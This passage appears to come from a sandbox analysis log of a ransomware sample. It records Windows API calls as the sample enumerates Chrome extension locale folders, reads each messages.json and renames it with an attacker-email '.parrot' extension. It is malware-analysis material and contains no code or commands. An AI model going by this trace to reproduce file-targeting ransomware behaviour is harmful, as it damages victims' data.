0x600650 [0071.437] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.437] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.437] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.437] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.437] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.437] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fb, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.437] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.437] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.438] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.438] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe3, lpOverlapped=0x0) returned 1 [0071.438] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.439] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.439] CloseHandle (hObject=0x1fc) returned 1 [0071.439] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0390 | out: hHeap=0x5b0000) returned 1 [0071.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681a00 | out: hHeap=0x5b0000) returned 1 [0071.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.441] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.441] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8106860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.441] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.442] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.442] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.442] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.442] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.442] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.442] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.442] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.442] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.442] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.443] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.444] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd4, lpOverlapped=0x0) returned 1 [0071.444] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.444] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.444] CloseHandle (hObject=0x1fc) returned 1 [0071.444] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0071.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681a00 | out: hHeap=0x5b0000) returned 1 [0071.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.446] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8106860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.446] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.447] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.497] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.497] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x98, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.497] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.497] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.498] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.498] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.499] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x98, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x98, lpOverlapped=0x0) returned 1 [0071.499] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.499] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.499] CloseHandle (hObject=0x28c) returned 1 [0071.500] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a990 | out: hHeap=0x5b0000) returned 1 [0071.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681b88 | out: hHeap=0x5b0000) returned 1 [0071.500] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.501] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.502] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb819ede0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb819ede0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.502] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb819ede0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.502] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.502] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.502] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.502] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.502] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.502] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.502] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x217, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.502] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.503] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.503] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.504] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xff, lpOverlapped=0x0) returned 1 [0071.504] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.504] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x217, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.504] CloseHandle (hObject=0x28c) returned 1 [0071.504] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0268 | out: hHeap=0x5b0000) returned 1 [0071.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681d10 | out: hHeap=0x5b0000) returned 1 [0071.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.548] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.548] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8211200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8211200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.548] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb819ede0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.548] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.557] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e6fa20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.557] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.557] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.557] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e71190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.557] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cf, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.557] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.557] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.559] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb7, lpOverlapped=0x0) returned 1 [0071.559] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.559] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.559] CloseHandle 